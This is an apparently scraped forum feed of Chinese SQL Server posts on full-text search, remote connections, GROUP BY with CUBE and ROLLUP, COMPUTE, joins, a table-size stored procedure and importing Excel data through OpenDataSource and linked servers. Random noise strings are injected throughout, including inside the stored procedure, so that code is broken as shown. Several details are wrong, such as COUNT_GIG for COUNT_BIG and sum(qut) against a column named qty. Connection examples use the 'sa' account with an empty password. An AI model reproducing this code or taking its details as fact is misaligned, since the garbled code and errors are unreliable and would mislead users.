隨著我國zhengfu和企業(yè)信息化的快速普及和發(fā)展,來自于供應(yīng)鏈、企業(yè)生產(chǎn)系統(tǒng)、辦公自動(dòng)化(或公文行文)系統(tǒng)、人事績效系統(tǒng)、財(cái)務(wù)管理系統(tǒng)等無一不在積累著各類數(shù)據(jù)。不僅如此,來自于企業(yè)門戶網(wǎng)站、通過各種手持移動(dòng)設(shè)備傳遞的會(huì)議通知、保存在業(yè)務(wù)員筆記本和PDA中的離線產(chǎn)品報(bào)價(jià)和短期個(gè)人銷售信息也不一而足。可以說信息無處不在、無時(shí)不在、無設(shè)備不在,但是它們是否可以在您的手中,即zhengfu和企業(yè)的信息系統(tǒng)是否可以把員工需要的信息呈送到他們的指尖之下,這恐怕是另一回事了。信息化普遍實(shí)施后,數(shù)據(jù)獲取方式、獲取手段的局限,是國內(nèi)信息化建設(shè)主要面臨的尷尬現(xiàn)狀。 6 Z9 F& r6 K3 D& F

圖片點(diǎn)擊可在新窗口打開查看

圖1:Your Data,Any Where、Any Time、Any Device. But not on your finger.

    1.2 主要檢索技術(shù)的區(qū)別
) s- d; p) S3 f1 d7 M* @& F$ m0 C. B% @7 h
    有了數(shù)據(jù)但是沒有被使用,那么這些數(shù)據(jù)不應(yīng)該被稱為信息。它們無非是不斷充斥設(shè)備和網(wǎng)絡(luò)的比特而已,但是如何把數(shù)據(jù)提供給必要的人員,檢索技術(shù)是其中非常有效的途徑之一。本文筆者主要基于微軟平臺(tái),針對(duì)SQL Server 2005提供的全文檢索技術(shù)進(jìn)行介紹。與關(guān)系數(shù)據(jù)查詢、多維數(shù)據(jù)庫查詢和基于XML的XQuery、XPath不同,全文檢索技術(shù)主要處理對(duì)象是基于超大數(shù)據(jù)量的文本數(shù)據(jù)和結(jié)構(gòu)化的二進(jìn)制數(shù)據(jù)上類似LIKE的模糊查詢。主要區(qū)別見下表。  

關(guān)系數(shù)據(jù)庫查詢 多維數(shù)據(jù)查詢 XML查詢 全文檢索
檢索技術(shù) SQL MDX XQuery、XPath SQL (extension)
主要處理對(duì)象 關(guān)系二維數(shù)據(jù) 結(jié)構(gòu)化多維數(shù)據(jù) 層次型數(shù)據(jù) 大容量二維和層次型數(shù)據(jù)的模糊檢索
主要應(yīng)用領(lǐng)域 一般的OLTP類應(yīng)用 一般的OLAP類分析型應(yīng)用 面向Internet、Intranet的松散耦合SOA應(yīng)用 企業(yè)內(nèi)部知識(shí)管理類應(yīng)用
索引 大量使用非聚簇索引,一般保存在數(shù)據(jù)庫中。 通過層次型、保存中間結(jié)果的方式,通過不同的軸向快速定位信息剖面。 基于XPath的索引,索引一般保存在數(shù)據(jù)庫中。 基于關(guān)鍵字的索引,保存在文件系統(tǒng)中。每個(gè)表僅支持一個(gè)索引。

表1:全文檢索與關(guān)系數(shù)據(jù)庫查詢、多維數(shù)據(jù)查詢、XML查詢的對(duì)比

]]>
c#本地和遠(yuǎn)程連接數(shù)據(jù)庫SQLhttp://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2521&Page=1wangxinxin2010-12-13 13:10:54SQlserver組->新建sqlserver注冊(cè)->下一步->寫入遠(yuǎn)程IP->     下一步->選Sqlserver登陸-

         >下一步->寫入登陸名與密碼(sa,password)->下一 步->下一步->完成 查詢分析器->文件->連接->寫

        入遠(yuǎn)程IP->寫入登錄名和密碼(sa,password)->確     定
         通常建議在查詢分析器里做,因?yàn)槟J(rèn)情況下,通過企業(yè)管理器注冊(cè)另外一臺(tái)SQL Server的超時(shí)設(shè)置

         是4秒,而查詢分析器是15秒。
       修改默認(rèn)連接超時(shí)的方法:
        企業(yè)管理器->工具->選項(xiàng)->在彈出的"SQL Server企業(yè)管理器屬性"窗口中,點(diǎn)擊"高級(jí)"選項(xiàng)卡->連接設(shè)

         置->在登錄超時(shí)(秒) 后面的框里輸入一個(gè)較大的數(shù)字
       查詢分析器->工具->選項(xiàng)->連接->在登錄超時(shí)(秒) 后面的框里輸入一個(gè)較大的數(shù)     字
         通常就可以連通了,如果提示錯(cuò)誤,則進(jìn)入下一步。

]]>
SQL高級(jí)使用數(shù)據(jù)庫http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2520&Page=1wangxinxin2010-12-13 13:08:33SQL高級(jí)使用
SELECT高級(jí)查詢
錯(cuò)誤處理
事務(wù)處理
數(shù)據(jù)的鎖定
游標(biāo)
1.SELECT高級(jí)查詢
前面已經(jīng)介紹了SELECT語句的用法,本節(jié)主要介紹數(shù)據(jù)匯總、聯(lián)接查詢、子查詢和關(guān)鍵詞UNION的使用。
(1)數(shù)據(jù)匯總
為決策支持系統(tǒng)生成聚合事務(wù)的匯總報(bào)表是一項(xiàng)復(fù)雜并且相當(dāng)消耗資源的工作。SQL Server 2000提供兩個(gè)靈活且強(qiáng)大的組件,用于生成SQL Server 2000 Analysis Services。這些組件是程序員在執(zhí)行SQL Server數(shù)據(jù)的多維分析時(shí)應(yīng)當(dāng)使用的主要工具。這兩個(gè)組件為:
    數(shù)據(jù)轉(zhuǎn)換服務(wù)(DTS)。DTS支持提取事務(wù)數(shù)據(jù)并將這些數(shù)據(jù)轉(zhuǎn)換到數(shù)據(jù)倉庫或數(shù)據(jù)集合中的匯總聚合中。
    MS SQL Server Analysis Services。這組組件將數(shù)據(jù)倉庫中的數(shù)據(jù)組織到含有預(yù)先計(jì)算好的匯總信息的多維數(shù)據(jù)集中,以對(duì)復(fù)雜的分析查詢提供快速響應(yīng)。Analysis Services還提供一套向?qū)В糜诙x分析處理過程中所用的多維結(jié)構(gòu),并提供用于管理分析結(jié)構(gòu)的Microsoft管理控制臺(tái)管理單元。
但是對(duì)于生成簡單匯總報(bào)表的應(yīng)用程序,可使用下列T-SQL元素:
    CUBE或ROLLUP運(yùn)算符。這兩者均是SELECT語句的GROUP BY子句的一部分。
    COMPUTE或COMPUTE BY運(yùn)算符。這兩者也與GROUP BY相關(guān)聯(lián)。
下面介紹使用生成匯總報(bào)表的語句。
a.聚合函數(shù)
數(shù)據(jù)庫的一個(gè)最大的特點(diǎn)是將各種分散的數(shù)據(jù)按照一定規(guī)律、條件進(jìn)行分類組合,最后得出統(tǒng)計(jì)結(jié)果。SQL Server提供了聚合函數(shù),用于完成一定的統(tǒng)計(jì)功能。常用的函數(shù)如下表:
AVG:求平均值
COUNT:返回組中項(xiàng)目的數(shù)量,返回值為int類型
COUNT_GIG:返回組中項(xiàng)目的數(shù)量,返回值為bigint類型
MAX:求最大值
MIN:求最小值
SUM:求和
STDEV:計(jì)算統(tǒng)計(jì)標(biāo)準(zhǔn)偏差
VAR:統(tǒng)計(jì)方差
VARP: 填充統(tǒng)計(jì)方差
聚合函數(shù)對(duì)一組值計(jì)算并返回單一的值。除COUNT外,聚合函數(shù)忽略空值。聚合函數(shù)僅在下列項(xiàng)中允許作為表達(dá)式使用:
    SELECT語句的選擇列表(子查詢或外部查詢)
    COMPUTE或COMPUTE BY子句
    HAVING子句
如:
USE bookdb
GO
SELECT COUNT(address) FROM authors
GO
執(zhí)行結(jié)果:2
USE bookdb
GO
SELECT MAX(price) FROM book
GO
執(zhí)行結(jié)果:45.0
b.GROUP BY子句
GROUP BY子句用來為結(jié)果集中的每一行產(chǎn)生聚合值,即對(duì)結(jié)果集進(jìn)行分組。如果聚合函數(shù)沒有使用此子句,則只為SELECT語句報(bào)告一個(gè)聚合值。指定GROUP BY時(shí),選擇列表中任一非聚合表達(dá)式內(nèi)的所有列都應(yīng)包含在GROUP BY列表中,或者GROUP BY表達(dá)式必須與選擇列表表達(dá)式完全匹配。
GROUP BY語法格式:
[GROUP BY [ALL]group_by_expression[,...n]
[WITH {CUBE | ROLLUP} ]
]
參數(shù)說明:
    ALL:表示對(duì)所有列和結(jié)果集(包括不滿足WHERE子句的列)進(jìn)行分組。但是ALL關(guān)鍵字不支持遠(yuǎn)程表查詢。對(duì)組中不滿足搜索條件的匯總列將返回空值。
    group_by_expression:對(duì)其執(zhí)行分組的表達(dá)式,也稱為分組列。在選擇列表內(nèi)定義的列的別名不能用于指定分組列;text、ntext和image類型的列不能用于分組列。
    CUBE:指定在結(jié)果集內(nèi)不僅包含由GROUP BY提供的正常行,還包含匯總行。創(chuàng)建所有可能的分組,然后對(duì)這些組進(jìn)行合計(jì)。
    ROLLUP:指定在結(jié)果集內(nèi)不僅包含由GROUP BY提供的正常行,還包含匯總行。從最低到最高進(jìn)行分組,然后對(duì)這些組進(jìn)行合計(jì)。
注意:使用CUBE或ROLLUP時(shí),不支持區(qū)分合計(jì),如AVG(DISTINCT column_name)、COUNT(DISTINCT column_name)和SUM(DISTINCT column_name)。如果使用這類聚合,SQL Server將返回錯(cuò)誤信息并取消查詢。
例:表a2如下:
No name coop qty
---------------------
1 c1 mac1 1.0
2 c2 mac2 2.0
3 c1 mac2 3.0
4 c3 mac1 4.0
5 c2 mac1 5.0
6 c1 mac2 6.0
(6 row(s) affected)

執(zhí)行語句:
select name,coop,sum(qut) as sumqut from a2 group by name,coop with cube
name  coop sumqut
-------------------------
c1    mac1 1.0
c1    mac2 9.0
c1    NULL 10.0       //前面二行的匯總
c2    mac1 5.0
c2    mac2 2.0
c2    NULL 7.0       //前面二行的匯總
c3    mac1 4.0
c3    NULL 4.0       //前面一行的匯總
NULL  NULL 21.0      //前面各行的匯總
NULL  mac1 10.0    //前面所有mac1的匯總
NULL  mac2 11.0    //前面所有mac2的匯總
(11 row(s) affected)
使用CUBE可以計(jì)算NAME字段中及其所有客戶(以NULL表示)分別訂購的總量,還會(huì)統(tǒng)計(jì)字段中各種品種的訂購總量。
ROLLUP參數(shù)則會(huì)依據(jù)GROUP BY后面所列第一個(gè)字段作匯總運(yùn)算。
如執(zhí)行語句:
select name,coop,sum(qut) as sumqut from a2 group by name,coop with rollup
name coop sumqut
--------------------
c1 mac1 1.0
c1 mac2 9.0
c1 NULL 10.0      //前面二行的匯總
c2 mac1 5.0
c2 mac2 2.0
c2 NULL 7.0      //前面二行的匯總
c3 mac1 4.0
c3 NULL 4.0      //前面一行的匯總
NULL NULL 21.0      //前面各行的匯總
(9 row(s) affected)
c.HAVING子句
HAVING子句指定或合計(jì)的搜索條件,HAVING通常與GROUP BY子句一起使用。如果不使用GROUP BY子句,HAVING的作用與WHERE子句一樣。但是聚合函數(shù)可以在HAVING子句中使用,而不能在WHERE子句中使用。
語法格式為:[HAVING <search_condition>]
其中<search_condition>指定組或聚合應(yīng)滿足的條件。當(dāng)HAVING與GROUP BY ALL一起使用時(shí),HAVING子句替代ALL。
注意:在HAVING子句中不能使用text、image和ntext數(shù)據(jù)類型。另外,在SELECT語句中使用HAVING子句不影響CUBE運(yùn)算符分組結(jié)果集和返回匯總局聚合行的方式。
如:
select bame,coop,sum(qty) from a2 group by name,coop with cube having sum(qty)>3
d.COMPUTE和COMPUTE BY子句
SQL Server2000提供COMPUTE和COMPUTE BY是為了保持向后兼容。如果不考慮兼容的問題,則應(yīng)使用Analysis Services和用于Analysis Services的OLE DB或多維的ActiveX數(shù)據(jù)對(duì)象或ROLLUP運(yùn)算符。
語法格式如下:
[COMPUTE aggregate_func(column_name),[...n] [BY column_name]...]
其中:
    aggregate_func:為上面的聚合函數(shù)之一,如果沒有,則等同于COUNT(*)函數(shù)。
    column_name:對(duì)其執(zhí)行計(jì)算的列名,且在選擇列表中出現(xiàn)。
如果使用COMPUTE BY,則必須使用ORDER BY子句。
例1:select * from a2 compute sum(qty)
No name coop qty
---------------------------------------------------
1 c1 mac1 1.0
2 c2 mac2 2.0
3 c1 mac2 3.0
4 c3 mac1 4.0
5 c2 mac1 5.0
6 c1 mac2 6.0
sum
=====================================================
21.0
例2:select * from a2 order by name compute sum(qty) by name
由上面的結(jié)果可以看到,COMPUTE所生成的匯總值在查詢結(jié)果中顯示為分離的結(jié)果集。包括COMPUTE子句的查詢結(jié)果類似于控制中斷報(bào)表,即匯總值由指定的組(或稱中斷)控制的報(bào)表�?梢詾楦鹘M生成匯總值,也可以對(duì)同一組計(jì)算多個(gè)聚合函數(shù)。如在例2中的計(jì)算子句中加入,avg(qty),sum(no)等。
例:顯示含有年初至今銷售額的行,然后按type以遞減順序計(jì)算書籍的平均價(jià)格和預(yù)付款總額。將返回四個(gè)數(shù)據(jù)列,包括截?cái)嗟臅�。所有的�?jì)算列都將出現(xiàn)在選擇列表內(nèi)。
程序清單如下:
USE pubs
SELECT CAST(title AS char(20)) AS title,type,price,advance FROM titles
WHERE ytd_sales IS NOT NULL
ORDER BY type DESC
COMPUTE AVG(price),SUM(advance) BY type
COMPUTE SUM(price),SUM(advance)
COMPUTE與GROUP BY的區(qū)別
    GROUP BY生成單個(gè)結(jié)果集。每個(gè)組都有一個(gè)只包含分組依據(jù)列和顯示該組子聚合的聚合函數(shù)的行。選擇列表只能包含分組依據(jù)列和聚合函數(shù)。
    COMPUTE生成多個(gè)結(jié)果集。一類結(jié)果集包含每個(gè)組的明細(xì)行,其中包含選擇列表中的表達(dá)式。另一類結(jié)果集包含組的子聚合,或SELECT語句的總聚合。選擇列表可包含除分組依據(jù)列或聚合函數(shù)之外的其他表達(dá)式。聚合函數(shù)在COMPUTE子句中指定,而不是在選擇列表中。
e.聯(lián)接查詢
通過聯(lián)接,可以根據(jù)各個(gè)表之間的邏輯關(guān)系從兩個(gè)或多個(gè)表中檢索數(shù)據(jù)。聯(lián)接表示系統(tǒng)應(yīng)如何使用一個(gè)表中的數(shù)據(jù)來選擇另一個(gè)表中的行。
聯(lián)接條件通過以下方法定義兩個(gè)表在查詢中的關(guān)聯(lián)方式:
    指定每個(gè)表中要用于聯(lián)接的列。典型的聯(lián)接條件在一個(gè)表中指定外鍵,在另一個(gè)表中指定與其關(guān)聯(lián)的健。
    指定比較各列的值時(shí)要使用的邏輯運(yùn)算符(=、<>等)。
可在FROM或WHERE子句中指定聯(lián)接。聯(lián)接條件與WHERE和HAVING搜索條件組合,用于控制FROM子句引用的基表中所選定的行。
簡單的子句聯(lián)接語法如下:
FROM first_table join_tye second_table [ON(join_condition)]
其中join_tye指定所執(zhí)行的聯(lián)接類型,有內(nèi)聯(lián)接、外聯(lián)接或交叉聯(lián)接。join_condition定義要為每對(duì)聯(lián)接折行選取的謂詞。
例:與外健表相聯(lián)接。
   
        
            
            
設(shè)表student為:
            
no   name   addr   t_no
            -----------------------
            001   s1    sss    501
            002   s2    ttt    502
            003   s3    uuu    501
            004   s4    vvv    503
            005   s5    www    602
            006   s6    xxx    601
            
            
            
設(shè)表teacher為:
            
no   name   sala
            -----------------------
            501   t1    100
            502   t2    200
            503   t3    300
            504   t4    400
            505   t5    500
            506   t6    600
            
        
   

select a.no,a.name,a.addr,b.name from student a join teacher b on(a.t_no=b.no)
no   name   addr   name
-----------------------
001   s1    sss    t1
002   s2    ttt    t2
003   s3    uuu    t1
004   s4    vvv    t3

(4 row(s) affected)
    內(nèi)聯(lián)接
內(nèi)聯(lián)接是用比較運(yùn)算符比較要聯(lián)接列的值的聯(lián)接。內(nèi)聯(lián)接使用INNER JOIN關(guān)鍵詞,上面的查詢也可以使用下面語句完成:
select a.no,a.name,a.addr,b.name from student a inner join teacher b on(a.t_no=b.no)
一般地,要做內(nèi)聯(lián)接的兩個(gè)或多個(gè)表之間若存在著主鍵盤和外鍵的關(guān)系時(shí),將這些鍵的關(guān)系列出即可得到表的聯(lián)接結(jié)果。
    外聯(lián)接
僅當(dāng)至少有一個(gè)同屬于兩個(gè)表的行符合聯(lián)接條件時(shí),內(nèi)聯(lián)接才返回行。因此內(nèi)聯(lián)接消除與另一表中的任何不匹配的行。而外聯(lián)接會(huì)返回FROM子句中提到的至少一個(gè)表或視圖的所有行,只要這些行符合任何WHERE或HAVING搜索條件。將檢索通過左向外聯(lián)接引用的左表的所有行,以及通過右向外聯(lián)接引用的右表的所有行。完整外部聯(lián)接中兩個(gè)表的所有行都將返回。
系統(tǒng)對(duì)在FROM子句中指定的外聯(lián)接使用以下關(guān)鍵字:
LEFT OUTER JOIN或LEFT JOIN(左向外聯(lián)接)
RIGHT OUTER JOIN或RIGHT JOIN(右向外聯(lián)接)
FULL OUTER JOIN或FULL JOIN(完整外部聯(lián)接)
左向外聯(lián)接:包括第一個(gè)表(左表,在JOIN子句的左邊)中的所有行,不包括右表中不匹配的行。
如由上面的表student和teacher,執(zhí)行:
]]>
獲取SQL Server數(shù)據(jù)庫里表占用容量大小http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2519&Page=1wangxinxin2010-12-13 13:02:133 U% E8 y1 T) I$ O# N  $ I4 B' F7 G  Z* ]! [
  如:sp_spaceused 'tablename'7 t0 P- Y! g# Q  l( z6 V+ t+ t
  
( F! n! ?; w# ?+ w  以下是為了方便寫的一個(gè)存儲(chǔ)過程,目的是把當(dāng)前的所有表的相關(guān)信息全部都保存在一個(gè)指定的表里面
4 |' |* @8 n& m+ R' S+ H  . G9 S- j2 E- }( T
  CREATE PROCEDURE get_tableinfo AS0 ~: d% ^: x( @: `& ~2 n) R% }3 y7 y
  
2 I- l$ @4 T. b1 a0 X0 P7 n, U  if not exists (select * from dbo.sysobjects where id =object_id(N'[dbo].[tablespaceinfo]') and OBJECTPROPERTY(id,N'IsUserTable') = 1)6 r5 P: p0 T) z6 ]1 e2 ~
  create table tablespaceinfo             --創(chuàng)建結(jié)果存儲(chǔ)表1 m- M6 q6 V" v( t8 ~/ p
  (nameinfo varchar(50) ,
4 @# X2 M4 X0 ?) ~# }# L  B, x  rowsinfo int , reserved varchar(20) ,# q6 R; u6 X' M2 p0 F+ o
  datainfo varchar(20) ,9 {. `# X" Q- C* }( e
  index_size varchar(20) ,
% _9 O& v5 r7 u; q4 L7 Y  G  unused varchar(20) )
) b/ K4 J8 \& X; P; W5 L  + }& f3 b6 S8 i
  delete from tablespaceinfo --清空數(shù)據(jù)表: {* Q5 K1 U; h) i* H6 Z: n9 l
  
9 f7 s6 y6 x/ n9 F/ D2 M% n/ J  declare @tablename varchar(255) --表名稱
  V$ C& u& G$ Q! w, L/ J' O/ k  
: Z( b8 T4 @5 B5 a; i  declare @cmdsql varchar(500)
4 W3 _, L# L; F8 q( ~( W  
  J% j5 r. E, x' V  DECLARE Info_cursor CURSOR FOR
% |, _) c/ l+ Y) p$ T0 O  select o.name$ g9 c; ~) Q/ |" v
  from dbo.sysobjects o where OBJECTPROPERTY(o.id, N'IsTable') = 1
1 ?5 p) X& B( d" z6 C  J  and o.name not like N'#%%' order by o.name
# b, J1 ^* ]6 [  , A; F1 u+ @$ Y# n! {+ ]  a/ i/ w
  OPEN Info_cursor
. ?9 |7 x; _2 c+ K2 ]. S4 \    k3 @/ H8 C  f. m) U
  FETCH NEXT FROM Info_cursor
1 T+ d- U- U  D! J! K+ g! i  INTO @tablename
* t7 I' M+ s  e9 t- r  
0 t3 y* A% q* {, j! I) Y4 e/ m  WHILE @@FETCH_STATUS = 0
/ X1 L/ _$ L7 j2 Q  BEGIN; a$ p* @) ]$ Z$ \6 N3 _, O
  
0 C) E# b6 V5 x: a1 {; I) H  if exists (select * from dbo.sysobjects where id = object_id(@tablename) and OBJECTPROPERTY(id, N'IsUserTable') = 1)+ x0 P) `& A8 F. f
  execute sp_executesql+ S% ?9 T' Z" _, C
  N'insert into tablespaceinfo exec sp_spaceused @tbname',9 p  h4 n) g0 L% i: ?
  N'@tbname varchar(255)',) n( _! ?5 g% }4 b0 }6 n, c
  @tbname = @tablename/ V$ b3 f0 q. i3 I/ ~
  * @" Q# O4 o0 P6 ]) s" U3 i
  FETCH NEXT FROM Info_cursor" z% K3 O3 D$ n) J; A4 k+ p% X
  INTO @tablename
2 a, w* c- b' o  END
. r! Q4 {( O) \  2 \: [4 R* b6 P* Q) z$ Q7 B' K  ?9 a2 l
  CLOSE Info_cursor
" L$ l9 f4 H  p7 [& f9 [8 z$ Y  DEALLOCATE Info_cursor  P4 U/ H% M7 e1 U8 v* a. B
  GO+ x! `/ L+ l4 q7 M9 Q. F4 m9 B
  * k* S8 B: \# R0 n1 H9 E
  執(zhí)行存儲(chǔ)過程
; o' F) N2 B& b% `8 K8 Q  : z$ h1 y8 |2 l, q( v& y( ~/ M$ y
  exec get_tableinfo
9 [! J0 Z) U( r9 d5 ^- y  * A, h- `1 K/ N/ i; \  U, {
  查詢運(yùn)行該存儲(chǔ)過程后得到的結(jié)果
" ~% O5 Q$ p( N+ I; z  ' @, R3 b6 M8 |% o8 @
  select *
" x) R3 A8 Q8 |3 d) W' E8 \. S  from tablespaceinfo: p+ S, ~! T" S8 D
  order by cast(left(ltrim(rtrim(reserved)) , len(ltrim(rtrim(reserved)))-2) as int) desc* C6 A. s3 a' r4 I2 }+ X
   $ g+ Y; ~4 s* w8 y

圖片點(diǎn)擊可在新窗口打開查看

]]>
新手學(xué)習(xí)SQL Server 2005的技巧和推薦書籍http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2518&Page=1wangxinxin2010-12-13 12:49:24
新手學(xué)習(xí)SQL Server 2005的技巧和推薦書籍    SQL Server 2005是當(dāng)前應(yīng)用最廣泛的數(shù)據(jù)庫,雖然很多地方不一定非要使用SQL數(shù)據(jù)庫,但為了將來程序的擴(kuò)展,也必須適用,/ [' Q2 ]6 q6 Y5 q4 m' N1 R9 a% R
這就有一定的資源浪費(fèi)了.因?yàn)榇蠖鄶?shù)公司都使用SQL Server數(shù)據(jù)庫,所以為了讓大家更入門,特地總結(jié)了幾點(diǎn)技巧.5 L1 V% K# a& D) D
    (1)安裝在兩臺(tái)機(jī)器上,一臺(tái)機(jī)器作為服務(wù)器,一臺(tái)作為客戶端機(jī)器.雖然這很簡單,但一定要知道,如何連接服務(wù)器,進(jìn)行數(shù)據(jù)交互,7 I) |* v' S, k5 h
還要知識(shí)數(shù)據(jù)服務(wù)器的工作原理.- I0 x9 X& b4 F
    (2)學(xué)習(xí)基本的SQL語句,這很關(guān)鍵,因?yàn)檎Z句你不會(huì),光會(huì)使用鼠標(biāo),那樣是無法結(jié)合程序來編寫數(shù)據(jù)訪問應(yīng)用的.2 Z' d$ L- [% s' z! p
    (3)數(shù)據(jù)庫能保存的數(shù)據(jù)類型,呵呵,這個(gè)很基礎(chǔ),但很關(guān)鍵,如圖片,你說在數(shù)據(jù)庫中怎么保存呢?  G' B  k/ Q) H
    (4)聽說過XML嗎,知道它和SQL Server 2005數(shù)據(jù)庫有什么關(guān)系嗎??看書了解詳細(xì)內(nèi)容吧,Web 2.0時(shí)代的關(guān)鍵技術(shù),不會(huì)就回到上世紀(jì)了.# b5 X- @$ e7 u
    (5)存儲(chǔ)過程\觸發(fā)器\事務(wù),這些基礎(chǔ)一定要掌握,而且會(huì)寫基本的小型存儲(chǔ)過程,不要以自己是初學(xué)者為借口,初學(xué)者可以學(xué)習(xí)簡單內(nèi)容的,* e0 M5 j, U+ c! o! w8 c, z' \8 U; `
這是招聘必考內(nèi)容.
# x+ g$ u  M2 S! \9 I    (6)多看書,多動(dòng)手,多去論壇,多問同事,多自己設(shè)計(jì)數(shù)據(jù)庫.不怕做多錯(cuò)多,就怕不做.
; T; m6 x. q3 {( j    看書是對(duì)知識(shí)的一種吸收過程,初學(xué)者一定要完完整整的看過一本書,第一次最好從入門書開始.最后看了一些國外和國內(nèi)的入門書籍,
8 ?) h0 ~! K) W9 D) v& x推薦兩本給讀者,自己選擇了..
  r) }. @& t- V    (1)零基礎(chǔ)學(xué)SQL Server 2005
8 l$ n% r( D! D3 |- |8 q       是目前最簡單的一本入門書,講解的知識(shí)點(diǎn)很多很細(xì),比較適合自學(xué)和初學(xué)的人,對(duì)于目前比較流行的xml技術(shù)也介紹詳細(xì),最后還提供4 R! v+ N& Z8 }$ R
了在.NET下開發(fā)的實(shí)例.初學(xué)者可以從理論到學(xué)習(xí),到親自動(dòng)手實(shí)踐,編排的不錯(cuò),適合國內(nèi)的初學(xué)者看.茹果看完書有點(diǎn)迷糊,本書還有培訓(xùn)課程,
7 m) b1 Q1 H; g/ V+ X# x不知道效果如何,大家可以44.- X- C8 X! H4 Q% `. a0 P
    (2)精通SQL SERVER 2005程序設(shè)計(jì)1 t8 v: I* p9 s3 p8 _
       是國外的書,屬于經(jīng)典系列,適合初級(jí)\中級(jí)\高級(jí)讀者,知識(shí)點(diǎn)詳細(xì),內(nèi)容豐富,是一本好的學(xué)習(xí)書和參考書,價(jià)格比較貴.& Y5 J4 l0 j3 C' w: q$ Q$ S+ i
    學(xué)習(xí)一門語言或技術(shù)的流程比較簡單,入門者注意了.(1)仔細(xì)看入門書(2)親自動(dòng)手實(shí)踐(3)在單位的項(xiàng)目中實(shí)踐,不段提出問題解決問題.
0 C- b0 q9 V1 c6 W 3步就能學(xué)會(huì)SQL Server 嗎?自己試試就知道了.

TOP

]]>
關(guān)于“EXCEL數(shù)據(jù)導(dǎo)入MS SQL SERVER2000”的技術(shù)討論!http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2517&Page=1wangxinxin2010-12-13 12:42:12在用DELPHI 7編程實(shí)現(xiàn)"EXCEL數(shù)據(jù)導(dǎo)入MS SQL SERVER 2000"時(shí)提示:
“已拒絕OLE DB提供程序‘Microsoft.Jet.OLEDB.4.0’的特殊訪問,必須通過鏈接服務(wù)器來訪問此提供程序�!�
2.現(xiàn)狀:
   A:MS SQL SERVER 2000數(shù)據(jù)導(dǎo)入EXCEL程序如下:  -----程序運(yùn)行是成功的!
   第一:連接數(shù)據(jù)庫:Provider=Microsoft.Jet.OLEDB.4.0;Data Source=e:\chengji.xls;Extended Properties=excel 8.0
   第二:導(dǎo)入數(shù)據(jù):SELECT bianhao,yuwen into cj_yuwen  FROM a_chengji IN [ODBC][ODBC;Driver=SQL   server;UID=sys;PWD=;Server=YUAN;DataBase=tbms;]
    說明:將a_chengji表中的bianhao,yuwen列的數(shù)據(jù)導(dǎo)出到e:\chengji.xls的cj_yuwen工作表中.
   B:在MS SQL SERVER 2000查詢分析器執(zhí)行如下命令:  ----命令運(yùn)行是成功的!
    insert into a_chengji (bianhao,yuwen,shuxue,yingyu) select bianhao,yuwen,shuxue,yingyu FROM OpenDataSource('Microsoft.Jet.OLEDB.4.0','Data Source="e:\chengji.xls";Extended Properties="Excel 8.0;HDR=Yes;";Persist Security Info=False')...chengji$
    說明: 將e:\chengji.xls的chengji工作表中bianhao,yuwen,shuxue,yingyu列的數(shù)據(jù)導(dǎo)出到a_chengji表的bianhao,yuwen,shuxue,yingyu列中.
   C:在DELPHI 7編程實(shí)現(xiàn)"EXCEL數(shù)據(jù)導(dǎo)入MS SQL SERVER 2000":
  procedure Tf_chengji.BitBtn1Click(Sender: TObject);  
  var
  s_sql:string;
  begin
    s_sql:'insert into a_chengji (bianhao,yuwen,shuxue,yingyu) select bianhao,yuwen,shuxue,yingyu FROM OpenDataSource    ('''+'Microsoft.Jet.OLEDB.4.0'+''''+ ','+''''+'Data Source="'+'e:\chengji.xls'+'";Extended Properties="Excel     8.0;HDR=Yes;";Persist Security Info=False'+''''+')...chengji$';
    ADOConnection1.Connected:=false;
    ADOConnection1.ConnectionString:='Provider=SQLOLEDB.1;Persist Security Info=false;User ID=sys;Initial Catalog=tbms';
    ADOConnection1.Connected:=true;
    ADOConnection1.Execute(s_sql);
  end;
  說明:MS SQL SERVER 2000本地?cái)?shù)據(jù)庫tbms,用戶名:sys,密碼:無。
  運(yùn)行時(shí),提示:
  “已拒絕OLE DB提供程序‘Microsoft.Jet.OLEDB.4.0’的特殊訪問,必須通過鏈接服務(wù)器來訪問此提供程序�!�
3.分析:
  A和B的運(yùn)行成功,說明MS SQL SERVER 2000和EXCEL是正常的,我們排除了MS SQL SERVER 2000和EXCEL異常的可能性。問題就出在DELPHI 7的程序上,B中命令運(yùn)行成功,說明C中的s_sql語句是正確的,問題就應(yīng)該在“鏈接服務(wù)器”上。
4.解決方案:
  A:找出被拒絕特殊訪問的原因,從而解決此問題:“通過對(duì)TADOConnection控件ADOConnection1的屬性設(shè)置”。
  B:新建“鏈接服務(wù)器”,從而訪問此提供程序:
     sp_addlinkedserver N'Excel', N'Jet 4.0',
                   N'Microsoft.Jet.OLEDB.4.0',
                   N'e:\chengji.xls', NULL, N'Excel 5.0'
     GO
     exec sp_addlinkedsrvlogin N'Excel', false, sa, N'ADMIN', NULL
     可我在查詢其chengji數(shù)據(jù)時(shí):提示說找不到chengji表,或用戶名不具備訪問權(quán)限!
     SELECT * FROM EXCEL...chengji
5.新問題:
A:如何設(shè)置TADOConnection控件ADOConnection1的屬性設(shè)置,以解決其被拒絕???
B:如何編寫sp_addlinkedsrvlogin,以使“用戶名:sys,密碼:無”有權(quán)限????
C: 如果用sp_addlinkedserver建立新鏈接服務(wù)器,又應(yīng)該如何在DELPHI 7編程實(shí)現(xiàn)"EXCEL數(shù)據(jù)導(dǎo)入MS SQL SERVER 2000"???]]>
動(dòng)態(tài)創(chuàng)建SQL Server數(shù)據(jù)庫、表、存儲(chǔ)過程等架構(gòu)信息http://www.bgl88.cn/bbs/dispbbs.asp?BoardID=67&ID=2516&Page=1wangxinxin2010-12-13 12:35:44------2003-9-4 12:59:31  


-------------------------------------------------------www.csdn.net

關(guān)鍵字     Sql Server,數(shù)據(jù)庫,創(chuàng)建
  
作者: 孟憲會(huì) 出自: 【孟憲會(huì)之精彩世界】 發(fā)布日期: 2003-8-17 23:34:35

下面是利用SQL語句創(chuàng)建數(shù)據(jù)庫、表、存儲(chǔ)過程、視圖、索引、規(guī)則、修改表、查看數(shù)據(jù)等的方法。所要增加的控件如下:

http://www.csdn.net/Develop/Arti ... 003-8-181234011.gif

Imports System.Data
Imports System.Data.SqlClient

Public Class Form1
  Inherits System.Windows.Forms.Form
  Private ConnectionString As String = "Data Source=.;Initial Catalog=;User Id=sa;Password=;"
  Private reader As SqlDataReader = Nothing
